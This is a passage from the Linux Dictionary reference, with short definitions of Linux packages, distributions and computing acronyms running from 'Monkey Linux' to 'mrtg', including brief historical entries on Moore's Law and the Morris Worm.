Monkey Linux can be extracted to the DOS filesystem (to the FAT32 too). This is complete small ELF distribution on 5 diskettes. Monkey can run on this minimal HW: 386SX, 4MB RAM, 30MB on IDE HDD. It contains X Windows for any SVGA videocard, support for network, support for 3C5x9, 3c59x, 3c900, NE2000/NE1000, WD80x3 ethernet cards, ATAPI/MITSUMI CD. There are some ready-to-install packages, GCC and kernel source for compiling your own kernel too. Monkey Linux v06 was released May 8, 1997. Documentation is available in English and Czech. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MontaVista Linux

Once known as Hard Hat Linux this embedded distribution from MontaVista, Inc., is more than just another general-purpose Linux distribution. MontaVista provides a cross development platform and a set of tool kits designed specifically for embedded solutions using the x86/IA-32, PowerPC, StrongARM, XScale, MIPS, SH, ARM and an ever expanding array of other microprocessor architectures. Renamed MontaVista Linux with the release of v2.1 on January 29, 2002. MontaVista Linux Professional Edition 3.0 was released November 18, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOO

Acronym for a lot of things, one of which is Multiuser dimension Object Oriented. They are multimedia, interactive environments in virtual space. Formerly in the confines of Telnet, MOOs now have taken advantage of the WWW. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOO

MUD Object Orientated (Internet, OOP, MUD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOO (Mud, Object Oriented)

One of several kinds of multi-user role-playing environments. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

moodss

Modular object oriented dynamic spread-sheet 2D-visualisation for periodically updated data using drag and drop in a spreadsheet-like environment. Extensible via your own Tcl/Tk modules. Intended for use in system administration but should work in a lab just as well... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

moon-buggy

Drive some car across the moon Moon-buggy is a simple character graphics game, where you drive some kind of car across the moon's surface. Unfortunately there are dangerous craters there. Fortunately your car can jump over them! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

moon-buggy-esd

Drive some car across the moon (version with sound) Moon-buggy is a simple character graphics game, where you drive some kind of car across the moon's surface. Unfortunately there are dangerous craters there. Fortunately your car can jump over them! This version includes experimental support for sound and thus requires a soundcard to run! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

moon-lander

A fun and entertaining game based on the classic moon lander. Moonlander is a fun and enjoyable modern graphical version of the classic moonlander game. WARNING: Contains one mild profanity. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Moore's Law

Gordon Moore, one of the founders of Intel, remarked in the late 1960s that computing power seemed to double every 12 to 18 months. This prophecy is remarkably accurate. With the rise of the Internet and computing in our lives, this Law has become a basic feature of our society every much so as Newton's Law's. Key point: Every bit of key length doubles the security, making it twice as difficult to crack. However, because of Moore's Law, every year that passes makes all keys twice as easy to crack. Therefore, if it takes 1-week to break a message encrypted with a 40-bit key, it will likewise take 1-week to break a message encrypted with a 128-bit key roughly 100 years from now. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

moosic

Daemon/client combo to easily queue music files for playing Moosic is a music player that focuses on easy playlist management. It consists of a server process that maintains a queue of music files to play and a client program which sends commands to the server. The server continually runs through its playlist, popping items off the top of the list and playing each with an external program. The client is a simple command-line utility which allows you to perform powerful operations upon the server's queue, including the addition of whole directory trees, automatic shuffling, and item removal according to regular expressions. The server comes configured to play MP3, Ogg, MIDI, MOD, and WAV files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOP

Maintenance Operations Protocol (DEC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOP

Meta Object Protocol (CLOS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOP

Multiple Original Prints From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mopd

The Maintenance Operations Protocol (MOP) loader daemon. The Maintenance Operations Protocol (MOP) loader daemon services MOP load requests on one or all Ethernet interfaces. Normally, a filename (uppercase and ending in .SYS) is included in the load request. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOPS

Million Operations Per Second From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

more

file perusal filter for crt viewing From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Morphix

Morphix is a modular distribution, with live-CD support. No configuration is necessary, just burn the CD and boot it. Morphix is partly based on KNOPPIX, the rest comes directly from Debian. The initial version, 0.3-2, was released February 27, 2003. Version 0.3-6 was released May 17, 2003. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Morris Worm

Unleashed on the morning of Thursday, November 3, 1988, the Morris Worm essentially crashed the Internet. In true worm fashion, it exploited bugs in several UNIX programs (sendmail, finger) to break into machines. Once in a machine, it would then look for other machines and launch attacks against them. Due to a programming mistake, the Morris Worm would not recognize when it had already broken into a machine. As the worm multiplied, machines would get broken into over and over, eventually overloading the machine and taking it offline. The worm is named after its creator, Robert Tapam Morris. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

morse

Simple morse code trainer for the PC speaker Morse code trainer which allows you to play morse at a range of speeds and frequencies through the PC internal speaker. You can specify the text to be played either from the command line, from a file, or the program is capable of generating random character groups. As it sounds each character it lists the character in verbal form (Dit, Dit, Dah etc.) to the screen. Morse has to run from a VC. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOS

Master Operating System (OS, Varian) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOS

Metal Oxide Semiconductor (IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOS

Minimum Operating System (OS, UNIVAC 9200, UNIVAC 9300) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOS

Multiprogramming Operating System (OS, NCR) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mosaic

A Web browser created by the National Center for Supercomputing Applications (NCSA) and placed in the public domain. Though Mosaic was one of the earliest Web browsers, it has been superseded by Netscape Navigator See World Wide Web. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mosaic

The first WWW browser that was available for the Macintosh, Windows, and UNIX all with the same interface. Mosaic really started the popularity of the Web. The source-code to Mosaic was licensed by several companies and used to create many other web browsers. Mosaic was developed at the National Center for Supercomputing Applications (NCSA), at the Univeristy of Urbana-Champange in Illinois, USA. The first version was released in late 1993. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOSES

Linux Dictionary

Major Open Systems Environment Standards From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOSFET

Metal Oxide Semiconductor Field Effect Transistor (IC, FET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mosix

a software package that turns a network of GNU/Linux computers into a computer cluster.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOSIX

Multiprocessor ??? Operating System for unIX (Unix, Cluster) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mosix

Utilities to administer a mosix cluster node Mosix is an extension to the linux kernel to support scalable and transparent cluster computing. The enhanced kernel allows a cluster of workstations and servers based on the Intel x86 architecture to work cooperatively as if part of a single system. This package provides the utilities to run a mosix cluster. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOSP

Microsoft Online Services Partnership (MSN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOSPF

Multicast [extensions to] Open Shortest Path First [routing] (IP, OSPF, RFC 1584) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

most

a more/less paging type program Most is a paging program that displays, one windowful at a time, the contents of a file on a terminal. It pauses after each windowful and prints on the window status line of the screen the file name, current line number, and the percentage of the file so far displayed. Unlike other paging programs, most is capable of displaying an arbitrary number of windows as long as each window occupies at least two screen lines. Each window may contain the same file or a different file. In addition, each window has its own mode. In addition to displaying ordinary text files, most can also display binary files as well as files with arbitrary ascii characters. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOST

Media Orientated Systems Transport From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOST

Mobile Open Systems Technologies (UK, Uni Lancaster) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOT

Means of Test From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

motherboard

The central circuit board inside a computer, which houses the central processing unit (CPU), the system bus, memory slots, expansion slots, and more. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Motif

A powerful proprietary graphics library for UNIX/Linux, developed by the Open Software Foundation (OSF) and used by programmers to create buttons, menus and other graphical objects for the X Window System. (Also, see Gtk/Gtk+.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Motif

Linux Dictionary

A widely-accepted set of user interface guidelines developed by the Open Software Foundation (OSF) around 1989 which specifies how an X Window System application should "look and feel". Motif includes the Motif Toolkit (also called "Xm" or the "Motif widgets"). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

motifnls

Files needed to run some Motif applications. This package provides the XFree-2.1 configuration files needed to allow Motif applications compiled under XFree-2.1 to run under XFree-3.1. Without these files, some Motif applications compiled on other machines (such as Netscape) may crash when attempting to copy or paste from or to a text field, and may also exhibit other problems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

motion

V4L Capture Program supporting Movement Detection Motion is a V4L image capture program which supports: – Motion detection – MPEG output – Loopback output (if a module is compiled for your kernel) – webcam output From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOTIS

Message-Orientated Text Interchange System (ISO 10021, JTC1) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

motor

C/C++/Java Integrated Development Environment Motor is a text mode based programming environment for Linux. It consists of a powerful editor with syntax highlight feature, project manager, makefile generator, gcc and gdb front-end, etc. Deep CVS integration is also provided. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOTSS

More Of The Sameold Sameold (Usenet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOU

Memorandum Of Understanding (IPOC, TLD, Internet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mount

Identify a disk drive to the file system before use. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount

mount and unmount filesystems. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount

The mount package contains the mount, umount, swapon and swapoff programs. Accessible files on your system are arranged in one big tree or hierarchy. These files can be spread out over several devices. The mount command attaches a filesystem on some device to your system's file tree. The umount command detaches a filesystem from the tree. Swapon and swapoff, respectively, specify and disable devices and files for paging and swapping. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount

To access a storage device or medium on a directory within a computer file system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount

Tools for mounting and manipulating filesystems. This package provides the mount(8), umount(8), swapon(8), swapoff(8), and losetup(8) commands. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount point

The directory under which a file system is accessible after being mounted. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount.smb

mount an smbfs filesystem From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mount.smbfs

mount an smbfs filesystem From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mountapp

Tool to (un)mount devices, dockable in Window Maker. This is a Window Maker dock app which allows you to browse all your mount points and to mount/unmount devices in a simple point and click manner. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mouse

A pointing device for use with a graphical user interface (GUI). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mouse-properties-capplet

allows you to configure your mouse. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mouseconfig

Mouseconfig is a text-based mouse configuration tool. Mouseconfig setups the files and links needed for configuring and using a mouse on a Red Hat Linux system. The mouseconfig tool can be used to set the correct mouse type for programs like gpm, and can be used with Xconfigurator to set up the mouse for the X Window System. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mova

Scripts for Mova-format dictionary Scripts that help finding words and viewing articles in dictionaries in mova format. One of them is English/Russian dictionary by V. K. Mueller. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOVE

Microsoft Overlay Virtual Environment (MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOVI

[projekt] MOBILE VISUALISIERUNG (DFG) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MoviX

MoviX is a CD-ready tiny (~5MB) Slackware-based Linux distribution containing all you need to boot a PC from CD (using syslinux) and automagically play all the avi files you put in the CD root with mplayer through the framebuffer. You can use it to play all your movies, even on a diskless PC. MoviX2 is a related distribution aimed at transforming your PC into a powerful multimedia box. The initial release of MoviX, version 0.2, was announced September 16, 2002. Version 0.8.0rc1 was released June 12, 2003. MoviX2 v0.3.0rc1 was released June 16, 2003. eMoviX is another branch, a micro (7MB) Linux distro meant to be embedded in a CD together with all the video/audio files you want. eMoviX version 0.8.0pre6 was released March 13, 2003. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MOWORM

Magneto-Optical Write Once Read Many, "MO-WORM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozart

The Mozart Programming System The Mozart Programming System is an advanced development platform for intelligent, distributed applications. Mozart is based on the Oz language, which supports declarative programming, object-oriented programming, constraint programming, and concurrency as part of a coherent whole. For distribution, Mozart provides a true network transparent implementation with support for network awareness, openness, and fault tolerance. Security is upcoming. Mozart is an

ideal platform for both general-purpose distributed applications as well as for hard problems requiring sophisticated optimization and inferencing abilities. For more information, see the Mozart project home page at <http://www.mozart-oz.org/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla

Mozilla is an open-source web browser, designed for standards compliance, performance and portability. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla

Mozilla was the code-name behind the original version of the Netscape web-browser, which itself was essentially a re-write of the popular Mosaic web-browser. Netscape later created an open-source version of their source base called Mozilla. Netscape version 6 is based upon this newer Mozilla. Point: Both Netscape and Microsoft web-browsers identify themselves as being "Mozilla" in the User-Agent: field. When Netscape officially created the name "Navigator" for their web-browser, the engineers didn't bother changing this field. When Microsoft came out with version 3.0 of their "Internet Explorer", they attempted to emulate all the features of Navigator. In order to take advantage of web-sites that provided richer multimedia content based upon whether Mozilla was running, Microsoft put "Mozilla" as the version of their browser, with additional content identifying itself as "MSIE". From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-browser

Mozilla Web Browser – core and browser Mozilla is a sophisticated graphical World-Wide-Web browser, with a large number of various browser features like support for HTML 4.0, CSS 2, JavaScript and Java. Of course, besides the network option, it can also be used as a standalone HTML viewer. Mozilla is based on part of the code base of the well known "Netscape" ("Communicator" or "Navigator") browser. It was opened up to the free software community by Netscape Communications under a new NPL license. See the website <http://www.mozilla.org/> for more information on the development of Mozilla. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-chatzilla

Mozilla Web Browser – irc client This is an irc client written completely in javascript, XUL, and Mozilla's XP framework. Give it a try, you might like it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-dom-inspector

A tool for inspecting the DOM of pages in Mozilla. This is a tool that allows you to inspect the DOM for web pages in Mozilla. This is of great use to people who are doing Mozilla chrome development or web page development. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-js-debugger

JavaScript debugger for use with Mozilla JavaScript debugger for use with Mozilla. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-mail

Mail/news client based on the Mozilla web browser. The mail/news client supports IMAP, POP, and NNTP and has an easy to use interface. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-mailnews

Mozilla Web Browser – mail and news support Mail/news client based on the Mozilla web browser. The mail/news client supports IMAP, POP, and NNTP and has an easy to use interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-nspr

NSPR provides platform independence for non-GUI operating system facilities. These facilities include threads, thread synchronization, normal file and network I/O, interval timing and calendar time, basic memory management (malloc and free) and shared library linking. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-nss

Network Security Services (NSS) is a set of libraries designed to support cross-platform development of security-enabled server applications. Applications built with NSS can support SSL v2 and v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3 certificates, and other security standards. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-psm

Mozilla Web Browser – Personal Security Manager (PSM) This is the PSM (Personal Security Manager) for the Mozilla Web Browser With this package, you can access SSL sites (https) and use IMAP/S mail servers. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mozilla-xmlterm

Mozilla Web Browser – XML enabled This is a terminal client written for mozilla that has special capabilities. When combined with the xls, and xcat programs, you can get directory listings with thumbnails for images, and you can cat known file types and view them inline. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MP

Multi Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MP

MultiProtocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp

pretty-printer for email messages and other text files This package consists of two programs, mp and mptool. The mp program will pretty print various files for you. It can be used in conjunction with a mail reading utility for producing a pretty print of your mail items. It can be used with a news reading tool to pretty print news articles. Digests can also be printed, and this version can pretty print ordinary ASCII files as well. Support for personal organiser printing was added into the last released version. There are numerous configuration options to allow you to adjust the way mp generates it's output. The mptool program is a graphical frontend to mp. It makes it easy to configure the printout of your documents without having to remember lots of complicated command line arguments. It also supports drag and drop of text from other Gtk+ applications. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MP

[PPP] Multilink Protocol (MPPP, RFC 1990) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MP3

MPEG audio layer 3 (MPEG, audio, IIS, ISO) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3blaster

Full-screen console mp3 and ogg vorbis player mp3blaster is an interactive text-based mp3 player with a number of unique features. It supports multiple playlists allowing you to divide tracks into albums allowing great flexibility with the play order. Also included are nmixer, a simple mixer utility based on the same code as the mixer used in mp3blaster and mp3tag, an id3 tag manipulation tool. Starting with version 3.0pre8, mp3blaster supports the playback of Ogg Vorbis encoded audio as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3burn

burn audio CDs directly from MP3s or Ogg Vorbis files mp3burn is a Perl script that allows you to burn audio CDs composed of MP3 or Ogg Vorbis tracks without an intermediate file conversion to .cdr or .wav. Actually, the .mp3/.ogg files *are* converted using a decoder, but are written to FIFOs so they don't consume a lot of filesystem space during the burn. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3check

Check mp3 files for consistency Check mp3 files for consistency and print several errors and warnings. List stream attributes (color). Layer 1,2,3, mpeg1.0+2.0 are currently supported. CRC check for layer 3. mp3check is very useful for incomplete mp3 detection as it can be used to scan through your mp3 collection and find all mp3s that aren't perfect. Good for use with Napster and other bulk downloading of mp3s. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3info

An MP3 technical info viewer and ID3 1.x tag editor. MP3Info has an interactive mode (using curses) and a command line mode. MP3Info can display ID3 tag information as well as various technical aspects of an MP3 file including playing time, bit-rate, sampling frequency and other attributes in a pre-defined or user-specifiable output format. If you prefer GUI you should use mp3info-gtk package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3kult

Organizes your MP3 collection in a MySQL database Mp3Kult is a KDE2 application that helps you organize your MP3 collections in a MySQL database. It can read MP3 tag and song informations (length, bit rate, sample rate etc.), make playlists, play songs with an external player like xmms and gqmpeg, perform basic and advanced searches for songs in the database, and make copies of playlists on your hard disk, in order to play the songs without inserting CD-ROMs. Mp3Kult can scan directories recursively, looking for MP3s and automatically mount, umount and eject CD-ROMs before and after the job. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp3rename

Rename mp3 files based on id3tags Mp3rename is a small tool to rename all those badly named mp3 files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mp4h

Macro Processor for HTML Documents Mp4h is a macro processor specifically designed for HTML documents, with powerful programming features. It allows definition and expansion of new tags with a syntax familiar to HTML authors. Mp4h is a core component of the Website Meta Language (WML). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpack

pack a file in MIME format From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpack

Tools for encoding/decoding MIME messages. Mpack and munpack are utilities for encoding and decoding (respectively) binary files in MIME (Multipurpose Internet Mail Extensions) format mail messages. For compatibility with older forms of transferring binary files, the munpack program can also decode messages in split-uuencoded format. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpage

print multiple pages per sheet on PostScript printer Mpage reads plain text files or PostScript documents and prints them on a PostScript printer with the text reduced in size so that several pages appear on one sheet of paper. This is useful for viewing large printouts on a small amount of paper. Uses ISO 8859.1 to print 8-bit characters. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpartition

partition an MSDOS hard disk TQ From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpatrol

A powerful library for debugging memory allocations The mpatrol library is a powerful debugging tool that attempts to diagnose run-time errors that are caused by the wrong use of dynamically allocated memory. Along with providing a comprehensive and configurable log of all dynamic memory operations that occurred during the lifetime of a program, the mpatrol library performs

extensive checking to detect any misuse of dynamically allocated memory. All logging and tracing output from the mpatrol library is sent to a separate log file in order to keep its diagnostics separate from any that the program being tested might generate. A wide variety of library settings can also be changed at run-time via an environment variable, thus removing the need to recompile or relink in order to change the library's behaviour. All of this functionality can be integrated into existing code through the inclusion of a single header file at compile-time.

<http://www.cbmamiga.demon.co.uk/mpatrol> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPC

MPOA Client (MPOA, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPC

Multimedia Personal Computer From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPD

Message Preparation Directory From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPDA

MultiPlatform DiskArray From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPDU

Message Protocol Data Unit (PDU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPE

Multi-Programming Executive (OS, HP, HP 3000) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpe-source

Source for MPE, for other package to build-depend This package includes the source to MPE, so that other package can build MPE Build-depending in this package. MPE is a set of tools to profile MPI programs, and other tools, useful in debugging MPI. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mped

a small editor with syntax highlighting Minimum Profit (mp, mped in Debian Systems) is a programmer's text editor. It features small memory and disk requirements, syntax highlighting, context-sensitive help for the source code being edited, multiple simultaneous file editing, ctags support, word wrapping, and more. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPEG

Motion Picture Expert Group [old term] (MPEG) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPEG

Moving Picture Expert Group (org., ISO 11172-1, JTC1) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPEG (Moving Pictures Experts Group)

The group that has defined the multimedia compression standard for consumer and professional digital audio and video. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpeglib

mp3 and mpeg I video/audio library for linux mpeglib is a mp3 and mpeg I video/audio library for linux mpeg I audio player (layer I,II,III (mp3)) mpeg I video player mpeg I system layer player wav player From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPEXL

??? (HP), "MPE/XL" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpg123

Mpg123 is a fast, free and portable MPEG audio player for Unix. It supports MPEG 1.0/2.0 layers 1, 2 and 3 ("mp3" files). For full CD quality playback (44 kHz, 16 bit, stereo) a fast CPU is required. Mono and/or reduced quality playback (22 kHz or 11 kHz) is possible on slow CPUs (like Intel 486). For information on the MP3 License, please visit: <http://www.mpeg.org/> From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpg321

A Free command-line mp3 player, compatible with mpg123 mpg321 is a clone of the popular mpg123 command-line mp3 player. It should function as a drop-in replacement for mpg123 in many cases. While some of the functionality of mpg123 is not yet implemented, mpg321 should function properly in most cases for most people, such as for frontends such as gqmpeg. mpg321 is based on the mad MPEG audio decoding library. It therefore is highly accurate, and also uses only fixed-point calculation, making it more efficient on machines without a floating-point unit. While mpg321 is not as fast as the non-free mpg123 on systems which have a floating point unit, it comes under a fully Free license, which allows greater freedom to its users. For most people who want mpg123, mpg321 is a better alternative. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpgtx

Toolbox to manipulate MPEG files (video, system, and audio) mpgtx is a tool to manipulate MPEG files. Its features include the following: * mpgtx can currently split and join MPEG 1 video files and most MPEG audio files. * mpgtx can fetch detailed information from MPEG 1 and MPEG 2. * mpgtx can demultiplex MPEG 1 and MPEG 2 files (System layer, Program layer and Transport Layer). * mpgtx can add, remove and edit ID3 tags from mp3 files and rename mp3 files according to their ID3 tags. It reads and writes ID3v1, but only reads ID3v2. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPI

Message Passing Interface (SMP, Cluster) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPI

Multiprocessor Interconnect Bus From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mpich

Parallel computing system MPICH is a robust and flexible implementation of the MPI (Message Passing Interface). MPI is often used with parallel or distributed computing projects. MPICH is a multi-platform, configurable system (development, execution, libraries, etc) for MPI. It can achieve parallelism using networked machines or using multitasking on a single machine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPIF

Message Passing Interface Forum (manufacturer) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPL

Mozilla Public License (Netscape) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MPlayer

A movie and animation player that supports a wide range of codecs and file formats, including MPEG 1/2/4, DivX 3/4/5, Windows Media 7/8/9, RealAudio/Video up to 9, Quicktime 5/6, and Vivo 1/2. It has many MMX/SSE(2)/3DNow(Ex) optimized native audio and video codecs, but allows using XAnim's and RealPlayer's binary codec plugins, and Win32 codec DLLs. It has basic VCD/DVD playback functionality, including DVD subtitles, but supports many text-based subtitle formats too. For video output, nearly every existing interface is supported. It's also able to convert raw/divx/mpeg4

Linux Dictionary

AVI (pcm/mp3 audio), and even video grabbing from V4L devices. From MPlayer

mrt

Multi-threaded Routing Toolkit (BGP4+/BGP/RIPng/RIP2) MRT is a set of Routing and Network Performance measurement tools, with BGP4+/BGP/RIPng/RIP2 routing software (now includes DVMRP and PIM-DM) MRT uses novel approaches to routing architecture design, and incorporates features such as parallel lightweight processes, multiple processor support, and shared memory. The object-oriented, modular design of the software encourages the rapid addition and prototyping of experimental routing protocol and inter-domain policy algorithms. You can use MRT applications and libraries to:

- * Serve as the backbone routing software for your IPv6 or IPv4 network connection.
- * Simultaneously handle tasks such as routing policy communication, routing policy calculation, and maintenance of a RIB, and distribute these tasks over multiple processors or multiple machines
- * Generate and analyze route flap statistics
- * Generate real-time graphical maps of Internet routing
- * Capture a BGP peering session and monitor it in real time
- * Record and replay sequences of events, such as routing failures

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MRTG

Multi Router Traffic Grapher From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mrtg

